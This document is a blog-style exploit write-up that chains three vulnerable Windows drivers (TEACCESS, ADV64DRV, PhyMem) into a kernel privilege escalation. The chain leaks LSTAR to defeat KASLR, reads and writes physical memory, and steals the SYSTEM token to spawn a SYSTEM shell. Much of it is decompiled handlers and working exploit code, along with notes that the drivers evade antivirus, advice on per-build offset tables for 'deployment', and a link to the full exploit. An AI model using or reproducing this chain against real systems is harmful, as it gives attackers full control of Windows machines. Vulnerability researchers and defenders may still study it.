July 14, 2026
TEACCESS.sys + ADV64DRV.sys + PhyMem.sys: KASLR Bypass to SYSTEM Token Theft
Hello Guys back with another exploit lets start :
By Haidermustafa
13 min read
The Three Drivers and Their Roles
This exploit chains three vulnerable drivers into a complete kernel privilege escalation:
TEACCESS. Exposes two critical IOCTLs:
0x222140— MSR Read (rdmsrinstruction). Reads any CPU Model-Specific Register, including the LSTAR register that holds the kernel's system call handler address.0x2220C0— VA→PA Translation (MmGetPhysicalAddress). Converts virtual addresses to physical addresses.
ADV64DRV — The physical memory reader. Takes a physical address and returns the data at that location. Provides raw access to all RAM.
PhyMem — The physical memory writer. Maps a physical address directly into user-mode virtual space, exposing kernel RAM as a writable user-mode pointer.
Combined, they provide complete kernel memory access from unprivileged user mode.
Virus Total and Loadability on Windows
All of these drivers has a VirusTotal of 0 so no Antivirus flags it
They also load Easily on Windows
I am using OSR loader Btw to register and run these
Finding Symblioc Links
For finding Symblic Links I will use a Dynamic Approach I will load all of these drivers and then use WinObj inside the GLOBALS?? Section we can find all the devices names
Now lets understand the vulnerabilities
KASLR Bypass via MSR Read
What Is KASLR?
Every boot, Windows loads ntoskrnl.exe at a different random base address. This randomization (KASLR) defeats exploits that hardcode kernel addresses.
Some KASLR bypass methods:
- EnumDeviceDrivers / NtQuerySystemInformation — Now zeroed or require admin on modern Windows
- Kernel pointer leaks — Hope a driver accidentally returns a kernel VA in a structure
- Page table walking — Slow, requires already having a read primitive
The LSTAR MSR — A Hardware Constant
Every x86–64 CPU has a Model-Specific Register (MSR) called LSTAR with index 0xC0000082. This register is set once during Windows boot and never changes for that boot.
LSTAR contain the virtual address of KiSystemCall64 — the kernel function that handles every system call (syscall instruction) made by user-mode processes.
Why is this valuable for KASLR bypass?
The distance between KiSystemCall64 and the start of ntoskrnl.exe (kernel base)is constant and fixed per Windows build. It never changes, just like offsets within the kernel binary.
If you know:
LSTARvalue (leaked from the CPU register)KiSystemCall64offset from kernel base (from symbols, build-specific constant)
Then:
KernelBase = LSTAR - KiSystemCall64_OffsetKernelBase = LSTAR - KiSystemCall64_OffsetReading LSTAR via TEACCESS
TEACCESS's IOCTL 0x222140 executes the rdmsr instruction with an MSR index you provide . Here's the Conceptual decompiled code from Ghidra showing TEACCESS's MSR read IOCTL:
case 0x222140: {
// Check input buffer size
if ((*(int *)(lVar2 + 0x10) == 4) || (*(int *)(lVar2 + 0x10) == 8)) {
// Read the user-supplied MSR index from input buffer
DWORD msrIndex = *(DWORD *)*(DWORD64 **)(param_2 + 0x18);
// Execute rdmsr instruction with user-controlled index
DWORD64 msrValue = rdmsr(msrIndex);
// Write result back to user buffer
**(DWORD64 **)(param_2 + 0x18) = msrValue;
// Mark success (8 bytes returned)
*(DWORD64 *)(param_2 + 0x38) = 8;
}
else {
// Input size invalid
goto LAB_00011660; // Error handling
}
}case 0x222140: {
// Check input buffer size
if ((*(int *)(lVar2 + 0x10) == 4) || (*(int *)(lVar2 + 0x10) == 8)) {
// Read the user-supplied MSR index from input buffer
DWORD msrIndex = *(DWORD *)*(DWORD64 **)(param_2 + 0x18);
// Execute rdmsr instruction with user-controlled index
DWORD64 msrValue = rdmsr(msrIndex);
// Write result back to user buffer
**(DWORD64 **)(param_2 + 0x18) = msrValue;
// Mark success (8 bytes returned)
*(DWORD64 *)(param_2 + 0x38) = 8;
}
else {
// Input size invalid
goto LAB_00011660; // Error handling
}
}First thing is Size Check
if ((*(int *)(lVar2 + 0x10) == 4) || (*(int *)(lVar2 + 0x10) == 8))if ((*(int *)(lVar2 + 0x10) == 4) || (*(int *)(lVar2 + 0x10) == 8))Validates that the input buffer is either 4 or 8 bytes. This is the only validation in the entire handler.
Then Extract MSR Index
DWORD msrIndex = *(DWORD *)*(DWORD64 **)(param_2 + 0x18);DWORD msrIndex = *(DWORD *)*(DWORD64 **)(param_2 + 0x18);Reads the user-supplied MSR index directly from the input buffer. No range checking. No verification.
Then Execute rdmsr
DWORD64 msrValue = rdmsr(msrIndex);DWORD64 msrValue = rdmsr(msrIndex);Executes the CPU's rdmsr (read MSR) instruction with the user-controlled index. This reads any Model-Specific Register the user requests.
Then Returns to Caller
**(DWORD64 **)(param_2 + 0x18) = msrValue;**(DWORD64 **)(param_2 + 0x18) = msrValue;Writes the MSR value back to the user's buffer. The user now has the raw register value.
So an unprivileged user-mode process can:
- Read LSTAR (
0xC0000082) → Leak kernel base (KASLR defeat) - Read IA32_LMCE_ADDR → Physical memory information leaks
- Read IA32_DEBUG_INTERFACE → Debug state leaks
- Read any other MSR — Potential side-channel attacks, covert channels, system enumeration
In this exploit, we only use LSTAR. But the vulnerability exposes much more.
For Obtaining LSTAR_OFFSET
This value changes per Windows build:
Load ntoskrnl.exe without executing it:
HMODULE ntos = LoadLibraryExA("ntoskrnl.exe", NULL, DONT_RESOLVE_DLL_REFERENCES);HMODULE ntos = LoadLibraryExA("ntoskrnl.exe", NULL, DONT_RESOLVE_DLL_REFERENCES);OR Use WinDbg or radare2 to find KiSystemCall64:
WinDbg: ? nt!KiSystemCall64 - ntWinDbg: ? nt!KiSystemCall64 - ntAnd Hardcode the offset for your target build:
#define LSTAR_OFFSET 0x411000 // Windows 10 22H2 build XXXXX#define LSTAR_OFFSET 0x411000 // Windows 10 22H2 build XXXXXFor deployment, you'd either:
- Build a table of offsets (one per known Windows build)
- Query the OS version at runtime and select the appropriate offset
Finding System EPROCESS
Once you have the kernel base, locate the EPROCESS structure of the System process (PID 4).
DWORD64 psiVA = g_kernelVA + PSINITIALSYSTEMPROCESS_RVA;
DWORD64 psiPA = TE_VaToPa(psiVA);
DWORD64 sysEproc = ADV_Read64(psiPA);DWORD64 psiVA = g_kernelVA + PSINITIALSYSTEMPROCESS_RVA;
DWORD64 psiPA = TE_VaToPa(psiVA);
DWORD64 sysEproc = ADV_Read64(psiPA);Locate PsInitialSystemProcess
PsInitialSystemProcess is a global pointer in ntoskrnl.exe pointing to the System process's EPROCESS structure. Its Relative Virtual Address (RVA) from the kernel base is fixed per build (e.g., 0xCFC420 on Windows 10 22H2).
Convert VA to PA
For VA to PA conversion we use another IOCTL from TEACCESS Driver
TEACCESS IOCTL 0x2220C0 — Virtual-to-Physical Address Translation
The Decompiled Handler
// IOCTL 0x2220C0 handler
if (uVar11 != 0x2220c0) goto LAB_00011613; // not this IOCTL
// Check sizes: InputBufferLength == 8, OutputBufferLength > 7
if ((*(int *)(lVar2 + 0x10) == 8) && (7 < *(uint *)(lVar2 + 8))) {
// Read virtual address from user buffer
puVar6 = *(undefined8 **)(param_2 + 0x18); // SystemBuffer pointer
uVar12 = MmGetPhysicalAddress(*puVar6); // Convert VA → PA
// Write physical address back to user buffer
*puVar6 = uVar12; // Overwrite the VA with PA
goto LAB_000113ae; // Success, return 8 bytes
}
// IOCTL 0x2220C0 handler
if (uVar11 != 0x2220c0) goto LAB_00011613; // not this IOCTL
// Check sizes: InputBufferLength == 8, OutputBufferLength > 7
if ((*(int *)(lVar2 + 0x10) == 8) && (7 < *(uint *)(lVar2 + 8))) {
// Read virtual address from user buffer
puVar6 = *(undefined8 **)(param_2 + 0x18); // SystemBuffer pointer
uVar12 = MmGetPhysicalAddress(*puVar6); // Convert VA → PA
// Write physical address back to user buffer
*puVar6 = uVar12; // Overwrite the VA with PA
goto LAB_000113ae; // Success, return 8 bytes
}
The First thing this code does is IOCTL Code Check
if (uVar11 != 0x2220c0) goto LAB_00011613;if (uVar11 != 0x2220c0) goto LAB_00011613;Then a Buffer Size Validation
if ((*(int *)(lVar2 + 0x10) == 8) && (7 < *(uint *)(lVar2 + 8)))if ((*(int *)(lVar2 + 0x10) == 8) && (7 < *(uint *)(lVar2 + 8)))The only validation in the handler:
- Input buffer must be exactly 8 bytes (to hold a 64-bit virtual address)
- Output buffer must be at least 8 bytes (to return a 64-bit physical address)
Then Extract Virtual Address
puVar6 = *(undefined8 **)(param_2 + 0x18);
uVar12 = MmGetPhysicalAddress(*puVar6);puVar6 = *(undefined8 **)(param_2 + 0x18);
uVar12 = MmGetPhysicalAddress(*puVar6);param_2 + 0x18is the SystemBuffer – the user's input data- The driver blindly reads 8 bytes from this buffer and treats it as a virtual address
MmGetPhysicalAddresswalks the CPU's page tables and returns the corresponding physical address
Then at last it Return Physical Address
*puVar6 = uVar12;*puVar6 = uVar12;How we Exploit it :
DWORD64 TE_VaToPa(DWORD64 va) {
BYTE inBuf[8] = {0};
*(DWORD64*)inBuf = va;
DWORD64 pa = 0;
DeviceIoControl(hTE, 0x2220C0, inBuf, 8, &pa, 8, NULL, NULL);
return pa;
}DWORD64 TE_VaToPa(DWORD64 va) {
BYTE inBuf[8] = {0};
*(DWORD64*)inBuf = va;
DWORD64 pa = 0;
DeviceIoControl(hTE, 0x2220C0, inBuf, 8, &pa, 8, NULL, NULL);
return pa;
}- Takes any virtual address — user or kernel, we control it.
- Packs it into an 8‑byte buffer and sends it to the driver via
DeviceIoControl. - The driver calls
MmGetPhysicalAddresson that address, walking the CPU's page tables to find the real physical memory location. - The driver writes the resulting physical address back into the same buffer.
- We read that physical address and return it.
Read the Pointer
ADV64DRV IOCTL 0x224004 — Arbitrary Physical Memory Read
ADV64DRV reads the physical address and returns the pointer value — the virtual address of System's EPROCESS:
DWORD64 sysEproc = ADV_Read64(psiPA);
// sysEproc is now a kernel VA like 0xFFFFB70012345000DWORD64 sysEproc = ADV_Read64(psiPA);
// sysEproc is now a kernel VA like 0xFFFFB70012345000Lets see the Decompiled Handler
// IOCTL dispatch
case 0x224004:
FUN_00011040(DeviceExtension, Irp, IoStackLocation);
// The actual handler
undefined8 FUN_00011040(undefined8 param_1, longlong param_2, longlong param_3)
{
uint uVar1;
undefined8 *puVar2;
char cVar3;
undefined8 *puVar4;
ulonglong uVar5;
undefined4 local_res18[2];
undefined4 local_28;
undefined4 uStack_24;
local_res18[0] = 0;
// 1. Check minimum input buffer size (0x10 = 16 bytes)
if (*(uint *)(param_3 + 0x10) < 0x10) // InputBufferLength < 16
return 0xc0000023; // STATUS_BUFFER_TOO_SMALL
puVar2 = *(undefined8 **)(param_2 + 0x18); // SystemBuffer
// 2. Read "size" from input buffer at offset +8
uVar1 = *(uint *)(puVar2 + 1); // size (DWORD at offset 8? Actually at +4)
uVar5 = (ulonglong)uVar1;
if (uVar1 == 0)
return 0xc000000d; // STATUS_INVALID_PARAMETER
// 3. Check output buffer is large enough for the requested size
if (*(uint *)(param_3 + 8) < uVar1) // OutputBufferLength < size
return 0xc0000023;
// 4. Read bus address from input buffer at offset +0
local_28 = *(undefined4 *)puVar2; // low 32 bits of bus address
uStack_24 = (undefined4)((ulonglong)*puVar2 >> 0x20); // high 32 bits
// 5. Translate bus address → physical address (hardware‑dependent)
cVar3 = HalTranslateBusAddress(1, 0,
CONCAT44(uStack_24, local_28), // 64‑bit bus address
local_res18,
&local_28); // output physical address
if (cVar3 == '\0') // translation failed
return 0x107; // STATUS_DEVICE_BUSY
// 6. Map the physical address into kernel space
puVar4 = (undefined8 *)MmMapIoSpace(
CONCAT44(uStack_24, local_28), // physical address
uVar5, // size
0); // MmNonCached
// 7. Copy data FROM mapped memory TO user buffer
FUN_000115a0(puVar2, puVar4, uVar5); // memcpy(puVar2, puVar4, size)
// 8. Unmap and return size
MmUnmapIoSpace(puVar4, uVar5);
*(ulonglong *)(param_2 + 0x38) = uVar5; // bytes returned
return 0;
}// IOCTL dispatch
case 0x224004:
FUN_00011040(DeviceExtension, Irp, IoStackLocation);
// The actual handler
undefined8 FUN_00011040(undefined8 param_1, longlong param_2, longlong param_3)
{
uint uVar1;
undefined8 *puVar2;
char cVar3;
undefined8 *puVar4;
ulonglong uVar5;
undefined4 local_res18[2];
undefined4 local_28;
undefined4 uStack_24;
local_res18[0] = 0;
// 1. Check minimum input buffer size (0x10 = 16 bytes)
if (*(uint *)(param_3 + 0x10) < 0x10) // InputBufferLength < 16
return 0xc0000023; // STATUS_BUFFER_TOO_SMALL
puVar2 = *(undefined8 **)(param_2 + 0x18); // SystemBuffer
// 2. Read "size" from input buffer at offset +8
uVar1 = *(uint *)(puVar2 + 1); // size (DWORD at offset 8? Actually at +4)
uVar5 = (ulonglong)uVar1;
if (uVar1 == 0)
return 0xc000000d; // STATUS_INVALID_PARAMETER
// 3. Check output buffer is large enough for the requested size
if (*(uint *)(param_3 + 8) < uVar1) // OutputBufferLength < size
return 0xc0000023;
// 4. Read bus address from input buffer at offset +0
local_28 = *(undefined4 *)puVar2; // low 32 bits of bus address
uStack_24 = (undefined4)((ulonglong)*puVar2 >> 0x20); // high 32 bits
// 5. Translate bus address → physical address (hardware‑dependent)
cVar3 = HalTranslateBusAddress(1, 0,
CONCAT44(uStack_24, local_28), // 64‑bit bus address
local_res18,
&local_28); // output physical address
if (cVar3 == '\0') // translation failed
return 0x107; // STATUS_DEVICE_BUSY
// 6. Map the physical address into kernel space
puVar4 = (undefined8 *)MmMapIoSpace(
CONCAT44(uStack_24, local_28), // physical address
uVar5, // size
0); // MmNonCached
// 7. Copy data FROM mapped memory TO user buffer
FUN_000115a0(puVar2, puVar4, uVar5); // memcpy(puVar2, puVar4, size)
// 8. Unmap and return size
MmUnmapIoSpace(puVar4, uVar5);
*(ulonglong *)(param_2 + 0x38) = uVar5; // bytes returned
return 0;
}The first thing this code does is Minimum Input Size
if (*(uint *)(param_3 + 0x10) < 0x10) return STATUS_BUFFER_TOO_SMALL;if (*(uint *)(param_3 + 0x10) < 0x10) return STATUS_BUFFER_TOO_SMALL;Ensures the user provided at least 16 bytes of input. The input structure must hold a 64‑bit bus address and a size value.
Then ot Reads Size
uVar1 = *(uint *)(puVar2 + 1); // size at offset +8? Actually from the decompiler it looks like +4uVar1 = *(uint *)(puVar2 + 1); // size at offset +8? Actually from the decompiler it looks like +4Extracts the requested read size from the user buffer. The buffer layout is: [bus_addr (8 bytes)] [size (4 bytes)] [padding]. The decompiler shows puVar2 + 1 meaning offset 8, but the structure is likely offset 0 for bus address, offset 8 for size. In either case, the size is fully user‑controlled.
Then there is a Output Buffer Size Check
if (*(uint *)(param_3 + 8) < uVar1) return STATUS_BUFFER_TOO_SMALL;if (*(uint *)(param_3 + 8) < uVar1) return STATUS_BUFFER_TOO_SMALL;Checks that the output buffer (where the result will go) is large enough to hold the requested amount of data.
Then it reads the Bus Address
local_28 = *(undefined4 *)puVar2; // low 32 bits
uStack_24 = (undefined4)((ulonglong)*puVar2 >> 0x20); // high 32 bitslocal_28 = *(undefined4 *)puVar2; // low 32 bits
uStack_24 = (undefined4)((ulonglong)*puVar2 >> 0x20); // high 32 bitsRe‑assembles the 64‑bit bus address from the first 8 bytes of the input buffer. The address comes directly from the user — no validation, no filter.
Then it does a Hardware Address Translation
cVar3 = HalTranslateBusAddress(1, 0, busAddress, &context, &physAddress);cVar3 = HalTranslateBusAddress(1, 0, busAddress, &context, &physAddress);HalTranslateBusAddress converts a device‑specific bus address into a physical address. The first parameter 1 indicates bus type 1 (PCI bus). On this Dell Optiplex, bus address 0x1000 translates directly to physical 0x1000 — a passthrough.
Then it Maps Physical Memory
puVar4 = MmMapIoSpace(physAddress, size, MmNonCached);puVar4 = MmMapIoSpace(physAddress, size, MmNonCached);Maps the physical memory into kernel virtual space so the driver can read from it.
Then Copies Data Out
FUN_000115a0(puVar2, puVar4, uVar5); // memcpy(userBuffer, mappedMemory, size)FUN_000115a0(puVar2, puVar4, uVar5); // memcpy(userBuffer, mappedMemory, size)Copies the data from the mapped physical memory into the user's output buffer. This is the actual read operation.FUN_000115a0 is an optimized memory copy routine (essentially a manually unrolled memmove) that handles overlapping buffers and alignment. The driver uses it to copy data from the mapped physical memory into the user‑supplied output buffer.
Then Cleanup
MmUnmapIoSpace(puVar4, uVar5);MmUnmapIoSpace(puVar4, uVar5);Unmaps the memory and returns the number of bytes read to user mode.
The vuln is that there is no validation
How we Exploit This
// ADV64DRV physical read helper
int ADV_PhysRead(DWORD64 pa, void* buf, DWORD size) {
BYTE inBuf[0x10] = {0}; // 16 bytes input buffer
*(DWORD64*)(inBuf + 0) = pa; // bus address = physical address
*(DWORD*)(inBuf + 8) = size; // number of bytes to read
DWORD ret = 0;
return DeviceIoControl(
hADV, // handle to ADV64DRV
0x224004, // physical read IOCTL
inBuf, sizeof(inBuf), // input: address + size
buf, size, // output: data read from memory
&ret, NULL
);
}// ADV64DRV physical read helper
int ADV_PhysRead(DWORD64 pa, void* buf, DWORD size) {
BYTE inBuf[0x10] = {0}; // 16 bytes input buffer
*(DWORD64*)(inBuf + 0) = pa; // bus address = physical address
*(DWORD*)(inBuf + 8) = size; // number of bytes to read
DWORD ret = 0;
return DeviceIoControl(
hADV, // handle to ADV64DRV
0x224004, // physical read IOCTL
inBuf, sizeof(inBuf), // input: address + size
buf, size, // output: data read from memory
&ret, NULL
);
}What this do is
- Takes any physical address (
pa) and a buffer to store the result. - Places the physical address directly in the input buffer (no bus translation needed on this hardware).
- Sends the IOCTL. The driver maps the physical address, copies the data to our output buffer, and returns.
This Function in our exploit is used to read
- The System EPROCESS pointer from
PsInitialSystemProcess - The System token from
System EPROCESS + 0x4B8 - Each process's PID while walking the
ActiveProcessLinkslist
Stealing the SYSTEM Token
Every process has a security token (EPROCESS.Token at offset 0x4B8) that determines its privileges. The System token is the most powerful. So in order to reach the token we need to convert its VA to PA and then read the Bytes at that PA. We reach this Token by First reading the VA of the EPROCESS that we get through PsinitialSystemProcess which is at a fixed offest from the kernel base that we leak using the TEC driver then after getting the location of EPROCESS we add the Token offset this is also a Fixed offset in Windows it changes per Build
DWORD64 sysPA = TE_VaToPa(sysEproc);
DWORD64 sysToken = ADV_Read64(sysPA + 0x4B8) & 0xFFFFFFFFFFFFFFF0ULL;DWORD64 sysPA = TE_VaToPa(sysEproc);
DWORD64 sysToken = ADV_Read64(sysPA + 0x4B8) & 0xFFFFFFFFFFFFFFF0ULL;Token Structure
The Token field is an EX_FAST_REF — an optimized pointer that uses the lower 4 bits as a reference count. To get the actual token pointer, mask off those bits:
sysToken &= 0xFFFFFFFFFFFFFFF0ULL; // Clear lower 4 bitssysToken &= 0xFFFFFFFFFFFFFFF0ULL; // Clear lower 4 bitsReading It
- Convert System's
EPROCESSVA to PA via TEACCESS - Add the hardcoded offset
0x4B8to reach the token field - Read the 8-byte value with ADV64DRV
- Mask off the reference count bits
Result: the actual TOKEN pointer for the System process.
Finding Our Own EPROCESS via ActiveProcessLinks
The System EPROCESS has a field called ActiveProcessLinks at offset 0x448. It contains a LIST_ENTRY structure with two pointers: Flink (forward link) and Blink (backward link). Flink points to the ActiveProcessLinks field of the next process in the list — not the start of the next EPROCESS itself. Blink points to the ActiveProcessLinks field of the previous process.
All running processes are chained together in a circular doubly‑linked list through these ActiveProcessLinks. To find our own process, we start at the System EPROCESS, read its Flink pointer, subtract the offset 0x448 to get the base of the next EPROCESS, and check the UniqueProcessId field at offset 0x440. If the PID matches our own, we found ourselves. If not, we follow the next Flink and repeat. The loop continues until we come back around to the beginning or find our PID.
DWORD myPid = GetCurrentProcessId();
DWORD64 flink = ReadPhys64(sysEPROCESS_PA + 0x448);
DWORD64 current = flink - 0x448;
while (true) {
DWORD64 pid = ReadPhys64(ReadVaToPa(current) + 0x440);
if ((DWORD)pid == myPid) {
// Found our EPROCESS
break;
}
DWORD64 nextFlink = ReadPhys64(ReadVaToPa(current) + 0x448);
if (nextFlink == flink || nextFlink == 0) break; // full loop
current = nextFlink - 0x448;
}DWORD myPid = GetCurrentProcessId();
DWORD64 flink = ReadPhys64(sysEPROCESS_PA + 0x448);
DWORD64 current = flink - 0x448;
while (true) {
DWORD64 pid = ReadPhys64(ReadVaToPa(current) + 0x440);
if ((DWORD)pid == myPid) {
// Found our EPROCESS
break;
}
DWORD64 nextFlink = ReadPhys64(ReadVaToPa(current) + 0x448);
if (nextFlink == flink || nextFlink == 0) break; // full loop
current = nextFlink - 0x448;
}The List Structure
The ActiveProcessLinks field at offset 0x448 is a LIST_ENTRY — a doubly-linked list node with Flink and Blink pointers. These pointers point to the next entry's LIST_ENTRY field, not the start of the EPROCESS.
To get back to the EPROCESS base:
EPROCESS_VA = ActiveProcessLinks_Pointer - 0x448EPROCESS_VA = ActiveProcessLinks_Pointer - 0x448The Walk
- Read the
Flinkat System'sActiveProcessLinks(sysPA + 0x448) - Subtract
0x448to get the first process'sEPROCESSVA - Convert to PA, read PID at offset
0x440 - If PID matches yours, found it; otherwise follow
Flinkto next process - Repeat until you find your PID or reach the end of the list
Overwriting Our Token via PhyMem
PhyMem IOCTLs 0x80002000 / 0x80002004 — Physical Memory Map and Unmap
The driver offers two IOCTLs that work as a pair:
IOCTL 0x80002000 — Map Physical Memory
case 0x80002000:
// Requires 16 bytes input, 8 bytes output
if ((iVar6 == 0x10) && (uVar5 == 8)) {
// Map the user-supplied physical address into kernel space
lVar8 = MmMapIoSpace(*(longlong *)puVar2, puVar2[2], 0);
if (lVar8 != 0) {
// Create an MDL and map the memory into the calling process
lVar9 = IoAllocateMdl(lVar8, puVar2[2], 0, 0, 0);
if (lVar9 != 0) {
MmBuildMdlForNonPagedPool(lVar9);
lVar10 = MmMapLockedPages(lVar9, 1); // 1 = UserMode
// Save mapping info in a linked list for later cleanup
puVar11 = ExAllocatePool(0, 0x28);
puVar11[1] = lVar9; // MDL
puVar11[2] = lVar8; // kernel VA
puVar11[3] = lVar10; // user‑mode VA
*(uint *)(puVar11 + 4) = puVar2[2]; // size
FUN_00011e60(&DAT_00013210, puVar11); // add to list
// Return the user‑mode pointer to caller
*(longlong *)puVar2 = lVar10;
*(undefined8 *)(param_2 + 0x38) = 8;
}
}
}
break;case 0x80002000:
// Requires 16 bytes input, 8 bytes output
if ((iVar6 == 0x10) && (uVar5 == 8)) {
// Map the user-supplied physical address into kernel space
lVar8 = MmMapIoSpace(*(longlong *)puVar2, puVar2[2], 0);
if (lVar8 != 0) {
// Create an MDL and map the memory into the calling process
lVar9 = IoAllocateMdl(lVar8, puVar2[2], 0, 0, 0);
if (lVar9 != 0) {
MmBuildMdlForNonPagedPool(lVar9);
lVar10 = MmMapLockedPages(lVar9, 1); // 1 = UserMode
// Save mapping info in a linked list for later cleanup
puVar11 = ExAllocatePool(0, 0x28);
puVar11[1] = lVar9; // MDL
puVar11[2] = lVar8; // kernel VA
puVar11[3] = lVar10; // user‑mode VA
*(uint *)(puVar11 + 4) = puVar2[2]; // size
FUN_00011e60(&DAT_00013210, puVar11); // add to list
// Return the user‑mode pointer to caller
*(longlong *)puVar2 = lVar10;
*(undefined8 *)(param_2 + 0x38) = 8;
}
}
}
break;IOCTL 0x80002004 — Unmap Physical Memory
case 0x80002004:
if (iVar6 == 0x10) {
// Walk the linked list looking for the user‑mode VA
for (entry = DAT_00013210; entry != NULL; entry = entry->Flink) {
if (entry[3] == *(longlong *)puVar2) { // match user VA
if (*(uint *)(entry + 4) == puVar2[2]) { // match size
MmUnmapLockedPages(entry[3], entry[1]);
IoFreeMdl(entry[1]);
MmUnmapIoSpace(entry[2], *(uint *)(entry + 4));
// Remove from linked list
if (entry == DAT_00013210)
DAT_00013210 = entry->Flink;
else
*prevEntry = entry->Flink;
ExFreePoolWithTag(entry, 0);
}
break;
}
prevEntry = entry;
}
}
break;case 0x80002004:
if (iVar6 == 0x10) {
// Walk the linked list looking for the user‑mode VA
for (entry = DAT_00013210; entry != NULL; entry = entry->Flink) {
if (entry[3] == *(longlong *)puVar2) { // match user VA
if (*(uint *)(entry + 4) == puVar2[2]) { // match size
MmUnmapLockedPages(entry[3], entry[1]);
IoFreeMdl(entry[1]);
MmUnmapIoSpace(entry[2], *(uint *)(entry + 4));
// Remove from linked list
if (entry == DAT_00013210)
DAT_00013210 = entry->Flink;
else
*prevEntry = entry->Flink;
ExFreePoolWithTag(entry, 0);
}
break;
}
prevEntry = entry;
}
}
break;Now what these IOCTLs Do
Map (0x80002000):
- Takes a 64‑bit physical address and a size from the user buffer.
- Maps that physical range into kernel virtual space with
MmMapIoSpace. - Allocates an MDL for the mapped memory and calls
MmMapLockedPageswithUserModeaccess — this makes the physical memory directly accessible from user mode. - Returns a user‑mode virtual address (pointer) that reads and writes the underlying physical RAM.
Unmap (0x80002004):
- Takes the user‑mode VA and size that were returned by the map IOCTL.
- Walks the driver's internal linked list to find the corresponding mapping entry.
- Unmaps the locked pages, frees the MDL, unmaps the kernel VA, and removes the entry from the list.
When combined, the user maps a physical address, performs reads and writes directly through the returned pointer, then unmaps to clean up. No IOCTL is needed for the actual data access — just raw C pointer operations.
The Vuln is that there is no validation that which level of user can do what a standard user can write to physcial memory there is no checks on this IOCTL
How we Exploit it
// Map physical address → user‑mode pointer
DWORD64 PM_Map(DWORD64 pa, DWORD size) {
BYTE inBuf[16] = {0};
*(DWORD64*)(inBuf + 0) = pa;
*(DWORD*)(inBuf + 8) = size;
DWORD64 outVA = 0;
DeviceIoControl(hPM, 0x80002000, inBuf, 16, &outVA, 8, NULL, NULL);
return outVA;
}
// Unmap previously mapped memory
void PM_Unmap(DWORD64 va, DWORD size) {
BYTE inBuf[16] = {0};
*(DWORD64*)(inBuf + 0) = va;
*(DWORD*)(inBuf + 8) = size;
DeviceIoControl(hPM, 0x80002004, inBuf, 16, NULL, 0, NULL, NULL);
}// Map physical address → user‑mode pointer
DWORD64 PM_Map(DWORD64 pa, DWORD size) {
BYTE inBuf[16] = {0};
*(DWORD64*)(inBuf + 0) = pa;
*(DWORD*)(inBuf + 8) = size;
DWORD64 outVA = 0;
DeviceIoControl(hPM, 0x80002000, inBuf, 16, &outVA, 8, NULL, NULL);
return outVA;
}
// Unmap previously mapped memory
void PM_Unmap(DWORD64 va, DWORD size) {
BYTE inBuf[16] = {0};
*(DWORD64*)(inBuf + 0) = va;
*(DWORD*)(inBuf + 8) = size;
DeviceIoControl(hPM, 0x80002004, inBuf, 16, NULL, 0, NULL, NULL);
}To overwrite a kernel token (8 bytes at physical address 0x3CFC404):
DWORD64 mapped = PM_Map(0x3CFC404, 8); // map the token's physical address
*(DWORD64*)mapped = systemToken; // overwrite with SYSTEM token
PM_Unmap(mapped, 8); // clean upDWORD64 mapped = PM_Map(0x3CFC404, 8); // map the token's physical address
*(DWORD64*)mapped = systemToken; // overwrite with SYSTEM token
PM_Unmap(mapped, 8); // clean upThe CPU treats the mapped address like any other memory, but it points directly into physical RAM. That's what makes this primitive so dangerous: once mapped, physical memory is indistinguishable from normal program memory.
Privilege Escalation and Shell
Once the token is written:
// Optional: enable all privileges in the token
// AdjustTokenPrivileges(GetCurrentProcessHandle(), ...);
// Spawn a child process - it inherits the SYSTEM token
system("cmd.exe");// Optional: enable all privileges in the token
// AdjustTokenPrivileges(GetCurrentProcessHandle(), ...);
// Spawn a child process - it inherits the SYSTEM token
system("cmd.exe");The child shell runs with full SYSTEM privileges.
Thats all
Full Exploit Code: https://github.com/Haider303/trinity-2.0-lpe/
Demo Video: https://youtu.be/YuI_4W1oiB4
Remember: load all three drivers before running the exploit. For educational purpose only